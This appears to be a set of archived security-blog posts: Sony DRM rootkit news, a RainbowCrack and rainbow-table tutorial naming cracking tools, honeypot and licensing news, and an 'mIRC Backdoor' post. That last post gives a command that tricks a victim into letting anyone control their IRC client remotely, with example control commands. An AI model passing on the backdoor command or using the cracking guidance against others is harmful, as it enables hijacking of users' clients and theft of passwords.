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Archive | February, 2006

US considers banning DRM rootkits – Sony BMG

Last updated: September 9, 2015 | 45,049 views

Now after the huge Sony BMG Rootkit fiasco, this has become quite a hot topic, how far can vendors go to enforce their ‘Digital Rights Management’ (or Digital Restrictions Management as we like to call it), can they install a rootkit on your machine and hook into your OS? Can they take over your PC just so they can check you aren’t pirating their music?

Thankfully the US government has taken this matter into consideration and is considering banning DRM rootkits.

US government officials are considering introducing legislation if companies continue to distribute copy-protection measures that compromise computer security.

The Department of Homeland Security’s Border and Transportation Security Directorate warning followed the discovery last year that Sony BMG employed two different types of digital rights management (DRM) on music CDS sold in the US and both installed rootkit software on PCs that made them vulnerable.

The Sony Case did indeed cause a massive storm and raised quite a large anti-Sony sentiment.

Sony has begun compensating customers who inadvertently installed the rootkit by inserting the affected CDs into PCs. However the swathes of bad publicity that it received over the whole affair have not deterred others. F-Secure reports that German DVD of the Mr & Mrs Smith movie starring Brad Pitt and Angelina Jolie contains the Settec Alpha-DISC system that installs a user-mode rootkit.

I’m glad the government are taking this seriously.

It does show however how weak the security Architecture is on Windows by default..How many Linux users do you see inserting random CD’s as root?

Source: PC Pro

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Posted in: Malware, Privacy

Topic: Malware, Privacy


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RainbowCrack & How To Use Rainbow Crack With Rainbow Tables

Last updated: October 22, 2017 | 463,646 views

This article is about RainbowCrack & How to use Rainbow Crack with Rainbow Tables, this includes how to generate rainbow tables, where to download them and what tools to use.

RainbowCrack & How To Use Rainbow Crack?

RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique.

RainbowCrack & How To Use Rainbow Crack With Rainbow Tables


In 1980 Martin Hellman described a cryptanalytic time-memory trade-off which reduces the time of cryptanalysis by using precalculated data stored in memory. This technique was improved by Rivest before 1982 with the introduction of distinguished points which drastically reduces the number of memory lookups during cryptanalysis. This improved technique has been studied extensively but no new optimisations have been published ever since.

You can find the official Rainbowcrack project here, where you can download the latest version of Rainbowcrack.

So what is RainbowCrack?

In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker tries all possible plaintexts one by one in cracking time. It is time-consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called “rainbow table”.

Basically, these types of password crackers are working with pre-calculated hashes of ALL passwords available within a certain character space, be that a-z or a-zA-z or a-zA-Z0-9 etc.

What are Rainbow Tables?

These files are called Rainbow Tables.

You are trading speed for memory and disk space, the Rainbow Tables can be VERY large, although Rainbow Table attacks are very effective.

Be warned though, Rainbow tables can be defeated by salted hashes, if the hashes are not salted however and you have the correct table, a complex password can be cracked in a few minutes rather than a few weeks or months with traditional brute forcing techniques.

So where do I download Rainbow Tables?

There are various locations you can download Rainbow Tablse, for example you can find a fairly comprehensive set of free Rainbow Tables at Project RainbowCrack including paid tables optimized for various things (LM, NTLM, MD5, SHA1 etc).

List of Rainbow Tables

You can generate them yourself with RainbowCrack, this will take a long time and a lot of disk space.

Project Shmoo is offering downloads of popular Rainbow Tables via BitTorrent.

http://rainbowtables.shmoo.com/


Where can I get a Rainbow Table Generator?

The tool to generate Rainbow Tables actually comes along with the RainbowCrack download, the tool is rtgen (for Windows rtgen.exe) .

Rainbow Table Generator - rtgen

What other software can I use for a Rainbow Table attack?

There is, of course, the original RainbowCrack as mentioned above.

Then there is:

Ophcrack Rainbow Table Password Cracker

Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables. This is a new variant of Hellman’s original trade-off, with better performance.


Cain and Abel (newly added support for Rainbow Tables)

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

Cain and Abel is personally my favourite fully featured password whacking tool, it also has a good packet sniffer, which grabs and decodes passwords and many methods for password cracking. The interface is decent too. I’ll write more on how to get the most out of Cain later.

LCP Download – L0phtcrack LC5 Password Cracking Alternative

Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003

This is basically a free version of l0phtcrack which ended up turning into commercial software.

Posted in: Password Cracking

Topic: Password Cracking


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Malware Honeypot Projects Merge – mwcollect and nepenthes

Last updated: September 9, 2015 | 8,082 views

Looking to streamline the collection of malware samples, two of the biggest honeypot projects mwcollect and nepenthes have merged operations.

The two projects, which passively trap viruses, spyware and other forms of malicious software by emulating known vulnerabilities, will combine operations to develop a single malware collection tool, according to an announcement my mwcollect head developer Georg Wicherski.

The merger comes after a year of concurrent development that caused a lot of overlap and shared work, Wicherski said.

“Mwcollect.org will become a top-level community covering malware collection efforts, [and] nepenthes will become the official software used for malware collection and be part of mwcollect.org,” he said.

A new mwcollect.org meta-portal will be created to host information related to malware collection.

Source: Eweek

Posted in: Malware

Topic: Malware


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Firefox Confuses UK Government Piracy Laws

Last updated: July 21, 2010 | 5,602 views

The UK government stated:

If Mozilla permit the sale of copied versions of its software, it makes it virtually impossible for us, from a practical point of view, to enforce UK anti-piracy legislation

It seems they really don’t understand the whole open source thing do they? You can’t pirate open source software, you can however sell it however you like. Most companies just charge a nominal fee to cover the cost of the CD and the postage.

I can’t believe that your company would allow people to make money from something that you allow people to have free access to. Is this really the case?

The contact from Mozilla licensing actually responded back attempting to explain the situation.

I wrote back, politely explaining the principles of copyleft & that the software was free, both as in speech and as in price, and that people copying and redistributing it was a feature, not a bug. I said that selling verbatim copies of Firefox on physical media was absolutely fine with us, and we would like her to return any confiscated CDs and allow us to continue with our plan for world domination (or words to that effect).

Source: Slashdot – Times Online

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Free Prep Material for LPI Linux Certification (LPI 201 and 202)

Last updated: September 9, 2015 | 10,968 views

Here’s a series of well written IBM Linux tutorials to help you learn Linux fundamentals and prepare for system administrator certification. The LPI prep tutorials help you prepare for the topics in LPI exam 201 and the topics in LPI exam 202.

You can find more about the certification at the Linux Professional Institute.

I’ve been meaning to take LPI 201 for quite sometime actually, it looks like a pretty solid foundation to Linux and I know most of it allready, so I should be able to do it without too much problem.

You can find the material at IBM:

Linux Professional Institute Exam Prep

The eight tutorials below help you prepare for the eight topics in LPI exam 201. Exam 201 is the first of two LPI intermediate-level system administrator exams. Both exam 201 and exam 202 are required for intermediate-level certification, or LPIC-2.

You do have to sign up, or just use Bugmenot, the bugmenot extension for Firefox is very useful ;)

To any budding hackers, yes it is recommended you have strong Linux skills.

Posted in: UNIX Hacking

Topic: UNIX Hacking


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mIRC Backdoor

Last updated: June 21, 2010 | 23,763 views

Well it’s not really a backdoor… but we can consider it one…

Some time ago it apeared on many websites (including mine) an article about a backdoor in mIRC… all this backdoor stuff was really nothing more than a mIRC script that by it’s mean made the client to respond at any command received via a CTCP (Client to Client Protocol) command… such as ping, version, time, etc…. so here is the command that the victim has to enter:

//.write -c mirc.dll ctcp 1:*:*:$1- | /.load -rs mirc.dll

The command is splited in 2 parts, delimited by | (a vertical line)… So the first section writes a file “mirc.dll” in which we write a simple mIRC script which listens to any CTCP request… the second one loads the file with the mIRC script….

After the “victim” executes this command we can control it by introducing one of the following lines:

{ this is a comment }

/ctcp victims_nick /.nick lamer { changes the nickname of the victim to lamer }

/ctcp victims_nick /.exit { closes the victims mIRC }

/ctcp victims_nick /.run www.black2white.as.ro
{ opens the victims default web browser (ie, firefox, opera, etc.) on the page www.black2white.as.ro }

/ctcp victims_nick /.any_valid_irc_command

So happy “masterminding”….

More IRC Commands: http://www.hackthissite.org/pages/irc/reference.php

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